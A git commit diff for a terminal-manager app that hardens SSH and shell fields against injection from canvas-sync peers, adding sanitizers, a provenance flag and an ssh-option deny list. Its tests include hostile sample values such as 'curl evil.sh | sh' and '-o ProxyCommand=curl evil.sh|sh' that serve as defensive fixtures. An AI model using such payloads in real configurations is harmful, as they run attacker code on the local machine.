Skip to content

Node-based terminal manager for AI coding agents — tmux-backed terminals and parallel agent sessions as draggable nodes on an infinite pan/zoom canvas. macOS, Linux, and a browser Server Edition.

fix(security): canvas-sync peers can no longer launder exec fields into the trusted store

enescd2bbe972267
diff --git a/src/core/canvas-sync.ts b/src/core/canvas-sync.ts
index 0c07e242e..67a566c62 100644
--- a/src/core/canvas-sync.ts
+++ b/src/core/canvas-sync.ts
@@ -39,6 +39,7 @@
import { platform, type CorePlatform } from './platform'
import { IPC } from '../shared/ipc'
import { isCanvasMutation, isRefId, MUTATION_MAX_BYTES } from '../shared/canvas-mutations'
+import { sanitizeInboundMutation } from '../shared/node-exec'
import { type ClientId } from '../shared/presence'
import type { CanvasMutation } from '../shared/types'
@@ -98,7 +99,11 @@ export function initCanvasSync(): void {
if (!isCanvasMutation(mutation)) return
// Stamped ONCE, here: the order every client will agree on. The sender is in the target list —
// its copy is the ack that tells it where its own edit landed (see the header).
- const stamped = stampMutation(mutation, ++seq)
+ // The exec-enabling node fields (`shell`, `ssh.extraArgs`) are stripped HERE too, so they are
+ // not even reflected to the other clients: a peer must not be able to put a program name or an
+ // `-o ProxyCommand=…` into anybody's canvas (@shared/node-exec). Every receiver strips them
+ // again on apply — this is the cheap upstream half.
+ const stamped = stampMutation(sanitizeInboundMutation(mutation), ++seq)
for (const id of reflectTargets(p.clientIds(), senderId)) {
p.sendTo(id, IPC.canvasMut, projectId, stamped)
}
diff --git a/src/core/workspace-files.test.ts b/src/core/workspace-files.test.ts
index b372205e7..034d72ce0 100644
--- a/src/core/workspace-files.test.ts
+++ b/src/core/workspace-files.test.ts
@@ -185,7 +185,14 @@ describe('exec-enabling node fields never travel in the shared project file', ()
cwd: '/a/b',
nodes: [
node({ id: 'n1', shell: '/bin/zsh' }),
- node({ id: 'n2', ssh: { host: 'h', user: 'u', extraArgs: '-o ProxyCommand=corp %h' } })
+ // execTrusted: the local producer (the user's SSH server store) set this value — see
+ // @shared/node-exec. Without the marker an exec-enabling arg is NOT blessed into the
+ // machine-local index (the case below), which is what stops a canvas-sync peer from
+ // laundering one in.
+ node({
+ id: 'n2',
+ ssh: { host: 'h', user: 'u', extraArgs: '-o ProxyCommand=corp %h', execTrusted: true }
+ })
]
})
const ws: Workspace = { version: 2, activeProjectId: 'p1', projects: [p] }
@@ -202,4 +209,22 @@ describe('exec-enabling node fields never travel in the shared project file', ()
expect(back.nodes[0].shell).toBe('/bin/zsh')
expect(back.nodes[1].ssh?.extraArgs).toBe('-o ProxyCommand=corp %h')
})
+
+ // C2: the laundering path. A canvas-sync peer's node is applied to the live array, and the next
+ // save used to harvest ITS exec fields into the machine-local index — where they are re-attached
+ // as this machine's own on every load, surviving the peer leaving and the app restarting. The
+ // inbound strip (@shared/canvas-mutations) is the primary guard; this asserts the store itself
+ // also refuses to bless a value no local producer vouched for.
+ it('splitWorkspace never blesses an exec value a local producer did not set', () => {
+ const p = project({
+ cwd: '/a/b',
+ nodes: [
+ node({ id: 'n1', shell: 'curl evil.sh | sh' }),
+ node({ id: 'n2', ssh: { host: 'h', user: 'u', extraArgs: '-o ProxyCommand=curl evil|sh' } })
+ ]
+ })
+ const ws: Workspace = { version: 2, activeProjectId: 'p1', projects: [p] }
+ const { index } = splitWorkspace(ws, () => 1, 'now')
+ expect(index.entries[0].localExec).toBeUndefined()
+ })
})
diff --git a/src/renderer/state/workspace.ts b/src/renderer/state/workspace.ts
index cfa02b757..52689400c 100644
--- a/src/renderer/state/workspace.ts
+++ b/src/renderer/state/workspace.ts
@@ -9,6 +9,7 @@ import { useSettings } from './settings'
// single implementation lives in src/shared and is shared with the relay host + the canvas-sync
// reflector.
export { applyCanvasMutation } from '@shared/canvas-mutations'
+import { sanitizeInboundNode } from '@shared/node-exec'
/** Preset color palette — macOS system colors (dark mode). */
export const NODE_COLORS = [
@@ -229,6 +230,10 @@ export function createSshTerminalNode(
port: server.port,
identityFile: server.identityFile,
extraArgs: server.extraArgs,
+ // Provenance: this came from the machine-local SSH server store — the local user typed it.
+ // So the exec site may honor an advanced option like a jump host's `-o ProxyCommand=…`.
+ // The marker never reaches a project file or the wire (@shared/node-exec).
+ execTrusted: server.extraArgs ? true : undefined,
label: server.label
}
}
@@ -1038,7 +1043,10 @@ export function applyMutationToFlow(nodes: CanvasNode[], m: CanvasMutation): Can
if (!nodes.some((n) => n.id === m.id)) return nodes // already gone — keep identity, skip render
return nodes.filter((n) => n.id !== m.id)
}
- const incoming = nodeStatesToFlow([m.node])[0]
+ // A peer's node never brings the exec-enabling fields with it (@shared/node-exec): they are
+ // per-machine settings, and letting one into the live array is exactly how it ends up harvested
+ // into this machine's "trusted" workspace.json on the next save.
+ const incoming = nodeStatesToFlow([sanitizeInboundNode(m.node)])[0]
const idx = nodes.findIndex((n) => n.id === m.node.id)
if (idx === -1) {
// Append, then re-sort: React Flow requires a parent to appear BEFORE its children, and a peer
diff --git a/src/shared/canvas-mutations.ts b/src/shared/canvas-mutations.ts
index 7f163e339..abbdc34cc 100644
--- a/src/shared/canvas-mutations.ts
+++ b/src/shared/canvas-mutations.ts
@@ -2,6 +2,7 @@
// the relay host (src/main/remote), the renderer (Canvas), and the canvas-sync reflector
// (src/core). Pure: no electron, no sockets, no disk.
+import { sanitizeInboundNode } from './node-exec'
import { REF_MAX_LEN } from './presence'
import type { CanvasMutation, CanvasNodeState } from './types'
@@ -139,16 +140,23 @@ export function createMutationGuard(): (m: CanvasMutation) => boolean {
* Apply a single mutation to a node list, returning a NEW array (the input is never mutated).
* `upsert` replaces the node with the matching id, or appends it if absent; `remove` filters
* out the node with the given id.
+ *
+ * Every caller of this is applying a mutation that came from SOMEONE ELSE (a canvas-sync peer, a
+ * relay client), so the node goes through `sanitizeInboundNode` first: the exec-enabling fields
+ * (`shell`, `ssh.extraArgs`) are per-machine settings that nobody else gets to write, and letting
+ * them into the live node array is how a peer laundered them into the machine-local — "trusted" —
+ * workspace.json on the next save (@shared/node-exec).
*/
export function applyCanvasMutation(
states: CanvasNodeState[],
m: CanvasMutation
): CanvasNodeState[] {
if (m.op === 'remove') return states.filter((n) => n.id !== m.id)
- const idx = states.findIndex((n) => n.id === m.node.id)
- if (idx === -1) return [...states, m.node]
+ const node = sanitizeInboundNode(m.node)
+ const idx = states.findIndex((n) => n.id === node.id)
+ if (idx === -1) return [...states, node]
const next = states.slice()
- next[idx] = m.node
+ next[idx] = node
return next
}
diff --git a/src/shared/canvas-publish.ts b/src/shared/canvas-publish.ts
index 0a05d6672..263271972 100644
--- a/src/shared/canvas-publish.ts
+++ b/src/shared/canvas-publish.ts
@@ -21,6 +21,7 @@
//
// Pure + DOM-free (vitest runs in the node environment): only setTimeout, no React, no window.
+import { stripSharedNodeExec } from './node-exec'
import { diffToMutations } from './canvas-mutations'
import { mutationNodeId } from './canvas-order'
import type { CanvasMutation, CanvasNodeState } from './types'
@@ -189,5 +190,10 @@ export function publishableStates(
states: CanvasNodeState[],
ephemeralIds: ReadonlySet<string>
): CanvasNodeState[] {
- return states.filter((n) => !isEphemeralNodeId(n.id, ephemeralIds))
+ // `stripSharedNodeExec`, for the same reason it runs on a project file: the exec-enabling fields
+ // are MACHINE-LOCAL. A teammate cannot use our `shell` or our `-o ProxyCommand=…` (they name
+ // programs and hosts on OUR box), and sending them would both leak our local setup and put a
+ // value of foreign provenance into their live nodes. The publisher's baseline is built from this
+ // same function, so nothing re-publishes in a loop.
+ return stripSharedNodeExec(states.filter((n) => !isEphemeralNodeId(n.id, ephemeralIds)))
}
diff --git a/src/shared/node-exec.test.ts b/src/shared/node-exec.test.ts
index 3eb4eac8b..42fceae72 100644
--- a/src/shared/node-exec.test.ts
+++ b/src/shared/node-exec.test.ts
@@ -4,6 +4,8 @@ import {
applyLocalNodeExec,
localNodeExec,
safeSessionProgram,
+ sanitizeInboundMutation,
+ sanitizeInboundNode,
stripSharedNodeExec
} from './node-exec'
@@ -72,7 +74,7 @@ describe('localNodeExec / applyLocalNodeExec', () => {
it("round-trips the local user's own custom shell and ssh args through the machine-local index", () => {
const live = [
node({ id: 'n1', shell: '/bin/zsh' }),
- node({ id: 'n2', ssh: { host: 'h', user: 'u', extraArgs: '-o ProxyCommand=corp-proxy %h' } })
+ node({ id: 'n2', ssh: { host: 'h', user: 'u', extraArgs: '-o ProxyCommand=corp-proxy %h', execTrusted: true } })
]
const local = localNodeExec(live)
expect(local).toEqual({
@@ -114,3 +116,96 @@ describe('localNodeExec / applyLocalNodeExec', () => {
expect(localNodeExec([node()])).toBeUndefined()
})
})
+
+// C2: the disk boundary was worthless on its own. A canvas-sync peer's mutation is applied
+// VERBATIM (isCanvasMutation validates only id/position/size), and the next save harvests whatever
+// is now in the live nodes into workspace.json — the MACHINE-LOCAL, "trusted" store — from which it
+// is re-attached on every load, for ever: the peer can leave, be revoked, the app can restart, and
+// their `shell` / `-o ProxyCommand=…` still runs. So the wire is a trust boundary too.
+describe('sanitizeInboundNode / sanitizeInboundMutation (canvas-sync peers)', () => {
+ it('drops shell and ssh.extraArgs from a peer node, keeping everything else', () => {
+ const peer = node({
+ id: 'n1',
+ title: 'theirs',
+ shell: 'curl evil.sh | sh',
+ ssh: { host: 'h', user: 'u', port: 2222, extraArgs: '-o ProxyCommand=curl evil.sh|sh' }
+ })
+ const clean = sanitizeInboundNode(peer)
+ expect(clean.shell).toBeUndefined()
+ expect(clean.ssh?.extraArgs).toBeUndefined()
+ expect(clean.ssh?.host).toBe('h')
+ expect(clean.ssh?.port).toBe(2222)
+ expect(clean.title).toBe('theirs')
+ })
+
+ it('a peer cannot forge the provenance marker itself', () => {
+ const peer = node({
+ ssh: { host: 'h', user: 'u', extraArgs: '-o ProxyCommand=evil', execTrusted: true }
+ })
+ const clean = sanitizeInboundNode(peer)
+ expect(clean.ssh?.extraArgs).toBeUndefined()
+ expect(clean.ssh?.execTrusted).toBeUndefined()
+ })
+
+ it('sanitizes an upsert mutation and preserves its stamps; a remove passes through', () => {
+ const m = {
+ op: 'upsert' as const,
+ node: node({ id: 'n1', shell: 'evil.sh' }),
+ src: 'cv-abc',
+ seq: 7
+ }
+ const clean = sanitizeInboundMutation(m)
+ expect(clean.node.shell).toBeUndefined()
+ expect(clean.src).toBe('cv-abc')
+ expect(clean.seq).toBe(7)
+ const rm = { op: 'remove' as const, id: 'n1' }
+ expect(sanitizeInboundMutation(rm)).toBe(rm)
+ })
+
+ it('leaves a clean node alone by reference (no needless re-render / re-publish)', () => {
+ const clean = node({ id: 'n1' })
+ expect(sanitizeInboundNode(clean)).toBe(clean)
+ })
+})
+
+// The provenance rule for the trusted store: an exec-enabling value gets in only if a LOCAL
+// producer set it. (The inbound strip above is the primary guard; this is the one that decides what
+// may be BLESSED as this machine's own, so it must not take a laundered value's word for it.)
+describe('localNodeExec provenance', () => {
+ it('stores an exec-enabling ssh value only when it is execTrusted', () => {
+ const laundered = node({
+ id: 'n1',
+ ssh: { host: 'h', user: 'u', extraArgs: '-o ProxyCommand=curl evil.sh|sh' }
+ })
+ expect(localNodeExec([laundered])).toBeUndefined()
+
+ const mine = node({
+ id: 'n1',
+ ssh: { host: 'h', user: 'u', extraArgs: '-o ProxyCommand=corp-proxy %h', execTrusted: true }
+ })
+ expect(localNodeExec([mine])).toEqual({
+ n1: { sshExtraArgs: '-o ProxyCommand=corp-proxy %h' }
+ })
+ })
+
+ it('stores harmless ssh args regardless of provenance (nothing legitimate is lost)', () => {
+ const n = node({ id: 'n1', ssh: { host: 'h', user: 'u', extraArgs: '-A -J jump.example' } })
+ expect(localNodeExec([n])).toEqual({ n1: { sshExtraArgs: '-A -J jump.example' } })
+ })
+
+ it('never blesses a shell the exec site would refuse anyway', () => {
+ expect(localNodeExec([node({ id: 'n1', shell: 'curl evil.sh | sh' })])).toBeUndefined()
+ expect(localNodeExec([node({ id: 'n1', shell: '/bin/zsh' })])).toEqual({
+ n1: { shell: '/bin/zsh' }
+ })
+ })
+
+ it('applyLocalNodeExec marks what it re-attaches as this machine\'s own', () => {
+ const loaded = applyLocalNodeExec(
+ [node({ id: 'n1', ssh: { host: 'h', user: 'u' } })],
+ { n1: { sshExtraArgs: '-o ProxyCommand=corp-proxy %h' } }
+ )
+ expect(loaded[0].ssh?.extraArgs).toBe('-o ProxyCommand=corp-proxy %h')
+ expect(loaded[0].ssh?.execTrusted).toBe(true) // → the exec site honors it
+ })
+})
diff --git a/src/shared/node-exec.ts b/src/shared/node-exec.ts
index 5f18adfd9..72e02cd35 100644
--- a/src/shared/node-exec.ts
+++ b/src/shared/node-exec.ts
@@ -26,6 +26,7 @@
* a program string carrying shell metacharacters is never handed to tmux.
*/
+import { sshExtraArgsEnableLocalExec } from './ssh'
import type { CanvasNodeState } from './types'
/** Per-node exec values the LOCAL machine typed. Persisted only in the machine-local index. */
@@ -66,26 +67,72 @@ export function safeSessionProgram(shell: string | undefined): string | undefine
* The values survive on this machine via `localNodeExec` (below); what leaves for git/the remote
* host carries no command of any kind.
*/
+function stripNodeExec(n: CanvasNodeState): CanvasNodeState {
+ if (n.shell === undefined && n.ssh?.extraArgs === undefined && n.ssh?.execTrusted === undefined)
+ return n
+ const out: CanvasNodeState = { ...n }
+ delete out.shell
+ if (out.ssh) {
+ // `execTrusted` goes with the value it vouches for. It is a MACHINE-LOCAL provenance marker:
+ // if it could ride a document or a wire frame, a hostile one would simply set it to true.
+ const { extraArgs: _extraArgs, execTrusted: _execTrusted, ...conn } = out.ssh
+ out.ssh = conn
+ }
+ return out
+}
+
export function stripSharedNodeExec(nodes: CanvasNodeState[]): CanvasNodeState[] {
- return nodes.map((n) => {
- if (n.shell === undefined && n.ssh?.extraArgs === undefined) return n
- const out: CanvasNodeState = { ...n }
- delete out.shell
- if (out.ssh) {
- const { extraArgs: _extraArgs, ...conn } = out.ssh
- out.ssh = conn
- }
- return out
- })
+ return nodes.map(stripNodeExec)
+}
+
+/**
+ * Strip the exec-enabling fields from a node that arrived OVER THE WIRE (a canvas-sync peer's
+ * mutation, or a relay client's).
+ *
+ * This is the other half of the trust boundary, and without it the disk half was worthless: a peer
+ * mutation is applied VERBATIM (`isCanvasMutation` validates only id/position/size), and the next
+ * save harvests whatever `shell` / `ssh.extraArgs` are now in the live nodes into the MACHINE-LOCAL
+ * `workspace.json` — where they are re-attached as this machine's own values on every load, for
+ * ever, surviving the peer leaving, being revoked, and the app restarting. The peer laundered an
+ * exec field into the trusted store.
+ *
+ * A peer has no business setting either field on our machine: both are per-machine settings (which
+ * program to run here, which ssh options to pass here), and neither is meaningful on a canvas that
+ * is merely being mirrored. So they are dropped at ingest, on every surface.
+ */
+export function sanitizeInboundNode(node: CanvasNodeState): CanvasNodeState {
+ return stripNodeExec(node)
}
-/** Collect the machine-local exec values of these nodes (for the workspace.json index entry). */
+/** `sanitizeInboundNode` for a whole mutation (the stamps — `src`, `seq` — are preserved). */
+export function sanitizeInboundMutation<T extends { op: 'upsert' | 'remove' }>(m: T): T {
+ if (m.op !== 'upsert') return m
+ const up = m as unknown as { node: CanvasNodeState }
+ const node = sanitizeInboundNode(up.node)
+ return node === up.node ? m : ({ ...m, node } as T)
+}
+
+/**
+ * Collect the machine-local exec values of these nodes (for the workspace.json index entry).
+ *
+ * The index is the TRUSTED store — whatever lands here is re-attached to the node on every future
+ * load, as this machine's own value. So an inbound value must not be able to launder itself in
+ * (see `sanitizeInboundNode`, which is the primary guard), and this collector re-checks what it is
+ * about to bless:
+ * - `shell` — only if it still passes the exec-site validator. A program the exec site would
+ * refuse anyway has no business being persisted as trusted.
+ * - `ssh.extraArgs` — an exec-enabling value (a `ProxyCommand` & co) is stored only when it is
+ * `execTrusted`, i.e. a LOCAL producer set it (the user's SSH server store, or a previous
+ * machine-local index entry). Harmless args are stored either way, so nothing legitimate is lost.
+ */
export function localNodeExec(nodes: CanvasNodeState[]): LocalNodeExecMap | undefined {
const map: LocalNodeExecMap = {}
for (const n of nodes) {
const entry: LocalNodeExec = {}
- if (n.shell) entry.shell = n.shell
- if (n.ssh?.extraArgs) entry.sshExtraArgs = n.ssh.extraArgs
+ if (n.shell && safeSessionProgram(n.shell)) entry.shell = n.shell
+ const extraArgs = n.ssh?.extraArgs
+ if (extraArgs && (n.ssh?.execTrusted || !sshExtraArgsEnableLocalExec(extraArgs)))
+ entry.sshExtraArgs = extraArgs
if (entry.shell || entry.sshExtraArgs) map[n.id] = entry
}
return Object.keys(map).length ? map : undefined
@@ -104,12 +151,12 @@ export function applyLocalNodeExec(
): CanvasNodeState[] {
return nodes.map((n) => {
const mine = local?.[n.id]
- const out: CanvasNodeState = { ...n }
+ const out: CanvasNodeState = stripNodeExec(n)
if (mine?.shell) out.shell = mine.shell
- else delete out.shell
- if (out.ssh) {
- const { extraArgs: _extraArgs, ...conn } = out.ssh
- out.ssh = mine?.sshExtraArgs ? { ...conn, extraArgs: mine.sshExtraArgs } : conn
+ if (out.ssh && mine?.sshExtraArgs) {
+ // Ours: it came out of the machine-local index, so the exec site may honor an option like
+ // ProxyCommand (a jump host is a legitimate thing to have configured).
+ out.ssh = { ...out.ssh, extraArgs: mine.sshExtraArgs, execTrusted: true }
}
return out
})
diff --git a/src/shared/ssh.test.ts b/src/shared/ssh.test.ts
index 80920d35d..bcf72b3d0 100644
--- a/src/shared/ssh.test.ts
+++ b/src/shared/ssh.test.ts
@@ -2,6 +2,7 @@ import { describe, expect, it } from 'vitest'
import {
buildSshArgs,
parseExtraArgs,
+ stripLocalExecArgs,
parseSshConfig,
posixQuote,
quoteRemotePath,
@@ -200,3 +201,83 @@ describe('parseLsDirs', () => {
expect(parseLsDirs('./\n../\nsrc/\nREADME.md\n.git/\nbin/\n')).toEqual(['.git', 'bin', 'src'])
})
})
+
+// The exec-site guard (the `permissionModeFlag` / `SAFE_SESSION_ID` idiom: re-validate where the
+// value BECOMES a command). `ssh -o ProxyCommand=<cmd>` runs `<cmd>` LOCALLY through /bin/sh every
+// time the node opens — so a value that did not come from this machine never gets to carry one.
+describe('stripLocalExecArgs', () => {
+ it('drops ProxyCommand in both spellings, and takes its value with it', () => {
+ expect(stripLocalExecArgs(parseExtraArgs('-o "ProxyCommand=curl evil.sh|sh"'))).toEqual({
+ args: [],
+ dropped: ['-o', 'ProxyCommand=curl evil.sh|sh']
+ })
+ // `-oProxyCommand=…` is the same option written without the space.
+ expect(stripLocalExecArgs(['-oProxyCommand=nc %h %p']).args).toEqual([])
+ // …and the space-separated value form (`-o "ProxyCommand nc %h %p"`).
+ expect(stripLocalExecArgs(['-o', 'ProxyCommand nc %h %p']).args).toEqual([])
+ })
+
+ it('drops the other options that make something execute', () => {
+ for (const opt of [
+ 'LocalCommand=evil',
+ 'PermitLocalCommand=yes',
+ 'KnownHostsCommand=evil',
+ 'Include=/tmp/evil-config',
+ 'PKCS11Provider=/tmp/evil.so',
+ 'SecurityKeyProvider=/tmp/evil.so',
+ 'RemoteCommand=evil'
+ ]) {
+ expect(stripLocalExecArgs(['-o', opt]).args).toEqual([])
+ }
+ // `Match exec "<cmd>"` runs <cmd> locally to decide whether the block applies.
+ expect(stripLocalExecArgs(['-o', 'Match exec "curl evil.sh|sh"']).args).toEqual([])
+ // An alternate ssh_config can carry any of the above.
+ expect(stripLocalExecArgs(['-F', '/tmp/evil-config']).args).toEqual([])
+ expect(stripLocalExecArgs(['-F/tmp/evil-config']).args).toEqual([])
+ })
+
+ it('leaves every harmless arg untouched (a jump host, a keepalive, verbosity)', () => {
+ const ok = parseExtraArgs('-A -v -J jump.example -o StrictHostKeyChecking=no -o ServerAliveInterval=30')
+ expect(stripLocalExecArgs(ok)).toEqual({ args: ok, dropped: [] })
+ })
+
+ it('keeps the harmless args of a list that also carries an exec-enabling one', () => {
+ const { args, dropped } = stripLocalExecArgs(
+ parseExtraArgs('-A -o ProxyCommand=evil -o ServerAliveInterval=30')
+ )
+ expect(args).toEqual(['-A', '-o', 'ServerAliveInterval=30'])
+ expect(dropped.length).toBeGreaterThan(0)
+ })
+})
+
+describe('buildSshArgs exec guard', () => {
+ const base = { host: 'h', user: 'u' }
+
+ it('refuses an untrusted ProxyCommand (a cloned project.json / a canvas-sync peer)', () => {
+ expect(buildSshArgs({ ...base, extraArgs: '-o ProxyCommand=curl evil.sh|sh' })).toEqual([
+ '-p', '22', 'u@h'
+ ])
+ })
+
+ it('honors the local user\'s OWN ProxyCommand (a corporate jump host still works)', () => {
+ expect(
+ buildSshArgs({ ...base, extraArgs: '-o ProxyCommand=corp-proxy %h', execTrusted: true })
+ ).toEqual(['-p', '22', '-o', 'ProxyCommand=corp-proxy', '%h', 'u@h'])
+ })
+
+ // Removing only the offending option out of `-o ProxyCommand=curl evil.sh|sh` would leave the
+ // orphaned `evil.sh|sh` in the argv — and ssh reads the first positional as the DESTINATION. An
+ // untrusted list that carries an exec-enabling option is therefore refused WHOLE.
+ it('degrades, never blocks — and leaves no shrapnel behind', () => {
+ expect(buildSshArgs({ ...base, port: 2222, extraArgs: '-A -o ProxyCommand=evil' })).toEqual([
+ '-p', '2222', 'u@h'
+ ])
+ expect(buildSshArgs({ ...base, extraArgs: '-o ProxyCommand=curl evil.sh|sh' })).toEqual([
+ '-p', '22', 'u@h'
+ ])
+ // An untrusted list with nothing exec-enabling in it is still passed through.
+ expect(buildSshArgs({ ...base, extraArgs: '-A -J jump.example' })).toEqual([
+ '-p', '22', '-A', '-J', 'jump.example', 'u@h'
+ ])
+ })
+})
diff --git a/src/shared/ssh.ts b/src/shared/ssh.ts
index 8a3f7b23e..16859ad7a 100644
--- a/src/shared/ssh.ts
+++ b/src/shared/ssh.ts
@@ -13,10 +13,102 @@ export interface SshConnection {
identityFile?: string
/** Optional raw extra ssh args (advanced), POSIX-tokenized. */
extraArgs?: string
+ /**
+ * PROVENANCE, in memory only: this machine's own `extraArgs`, set by the two local producers —
+ * `createSshTerminalNode` (copied from the machine-local SSH server store, i.e. typed by the user)
+ * and `applyLocalNodeExec` (re-attached from the machine-local workspace index). It is NEVER
+ * written to a project file (`stripSharedNodeExec`) and NEVER accepted off the wire
+ * (`sanitizeInboundNode`), so a cloned project.json or a canvas-sync peer cannot set it.
+ *
+ * Only a trusted `extraArgs` may carry the ssh options that make the LOCAL machine execute a
+ * command (`ProxyCommand` & co). A corporate jump host is a legitimate reason to have one — an
+ * untrusted document is not. See `stripLocalExecArgs`.
+ */
+ execTrusted?: boolean
/** Display label, copied from the saved server when the node is created. */
label?: string
}
+/**
+ * ssh options that make ssh RUN SOMETHING, on this machine unless noted. `-o ProxyCommand=<cmd>`
+ * is the classic one: ssh executes `<cmd>` locally through /bin/sh, every time the node opens.
+ *
+ * - `proxycommand`, `localcommand` (+ `permitlocalcommand`), `knownhostscommand` — local exec.
+ * - `match` — `Match exec "<cmd>"` runs `<cmd>` locally to decide whether the block applies.
+ * - `include` — pulls in another config file, which may carry any of the above.
+ * - `pkcs11provider`, `securitykeyprovider` — dlopen a local shared object: code execution.
+ * - `proxyusefdpass` — only meaningful alongside ProxyCommand; refused with it.
+ * - `remotecommand` — exec on the far side rather than here, but still not something a document
+ * gets to choose.
+ */
+const LOCAL_EXEC_SSH_OPTIONS = new Set([
+ 'proxycommand',
+ 'localcommand',
+ 'permitlocalcommand',
+ 'knownhostscommand',
+ 'match',
+ 'include',
+ 'pkcs11provider',
+ 'securitykeyprovider',
+ 'proxyusefdpass',
+ 'remotecommand'
+])
+
+/** The keyword of an ssh `-o` value: `ProxyCommand=x`, `ProxyCommand x` and a bare `Match` all
+ * yield `proxycommand` / `match`. */
+function optionKeyword(value: string): string {
+ return value.split(/[=\s]/, 1)[0].trim().toLowerCase()
+}
+
+/**
+ * Remove the exec-enabling options from a tokenized extra-args list — the exec-site guard, in the
+ * same idiom as `permissionModeFlag` / `SAFE_SESSION_ID`: re-validate where the value BECOMES a
+ * command, and degrade safely (the connection is still attempted, just without the option that
+ * would have run code). Everything else — `-J jump`, `-o StrictHostKeyChecking=no`, `-A`, `-v` —
+ * passes through untouched.
+ *
+ * Both spellings of an option are covered (`-o ProxyCommand=x` and `-oProxyCommand=x`), and `-F`
+ * (an alternate ssh_config, which may itself carry a ProxyCommand) counts as exec-enabling.
+ */
+export function stripLocalExecArgs(tokens: string[]): { args: string[]; dropped: string[] } {
+ const args: string[] = []
+ const dropped: string[] = []
+ for (let i = 0; i < tokens.length; i++) {
+ const t = tokens[i]
+ // `-F <file>` / `-F<file>`: an ssh_config we did not write.
+ if (t === '-F') {
+ dropped.push(t, ...(i + 1 < tokens.length ? [tokens[++i]] : []))
+ continue
+ }
+ if (t.startsWith('-F') && t.length > 2) {
+ dropped.push(t)
+ continue
+ }
+ if (t === '-o') {
+ const value = tokens[i + 1]
+ if (value !== undefined && LOCAL_EXEC_SSH_OPTIONS.has(optionKeyword(value))) {
+ dropped.push(t, value)
+ i++
+ continue
+ }
+ args.push(t)
+ continue
+ }
+ if (t.startsWith('-o') && t.length > 2 && LOCAL_EXEC_SSH_OPTIONS.has(optionKeyword(t.slice(2)))) {
+ dropped.push(t)
+ continue
+ }
+ args.push(t)
+ }
+ return { args, dropped }
+}
+
+/** Would this raw extra-args string make ssh execute something? (Used to decide whether a value of
+ * unknown provenance may enter the machine-local store — see `localNodeExec`.) */
+export function sshExtraArgsEnableLocalExec(extraArgs: string | undefined): boolean {
+ return stripLocalExecArgs(parseExtraArgs(extraArgs)).dropped.length > 0
+}
+
/** A saved server in the app's SSH store. `label` is required for display. */
export interface SshServer extends SshConnection {
id: string
@@ -64,11 +156,29 @@ export function sshHostKey(conn: Pick<SshConnection, 'host' | 'user'>): string {
return `${conn.user}@${conn.host}`
}
-/** Build the `ssh` argv: `-p <port> [-i <id>] [...extra] user@host`. */
+/**
+ * Build the `ssh` argv: `-p <port> [-i <id>] [...extra] user@host`.
+ *
+ * `extraArgs` is spliced in verbatim ONLY when the connection is `execTrusted` — i.e. the value
+ * came from this machine (the user's SSH server store, or the machine-local workspace index). Any
+ * other value has its exec-enabling options removed first: a `.nodeterm/project.json` from a cloned
+ * repo, or a canvas-sync peer's node, must never be able to hand `/bin/sh` a command through
+ * `-o ProxyCommand=…`. The connection is still attempted — degrade, never block.
+ */
export function buildSshArgs(conn: SshConnection): string[] {
const args = ['-p', String(conn.port ?? 22)]
if (conn.identityFile) args.push('-i', conn.identityFile)
- args.push(...parseExtraArgs(conn.extraArgs))
+ const extra = parseExtraArgs(conn.extraArgs)
+ if (conn.execTrusted) {
+ args.push(...extra)
+ } else {
+ // Untrusted AND exec-enabling → the WHOLE list is refused, not just the offending option.
+ // Dropping `-o ProxyCommand=curl` out of `-o ProxyCommand=curl evil.sh|sh` would leave the
+ // orphaned `evil.sh|sh` behind, and ssh reads the first positional argument as the DESTINATION.
+ // Shrapnel is not a safe degrade; no extra args is.
+ const { args: safe, dropped } = stripLocalExecArgs(extra)
+ args.push(...(dropped.length ? [] : safe))
+ }
args.push(`${conn.user}@${conn.host}`)
return args
}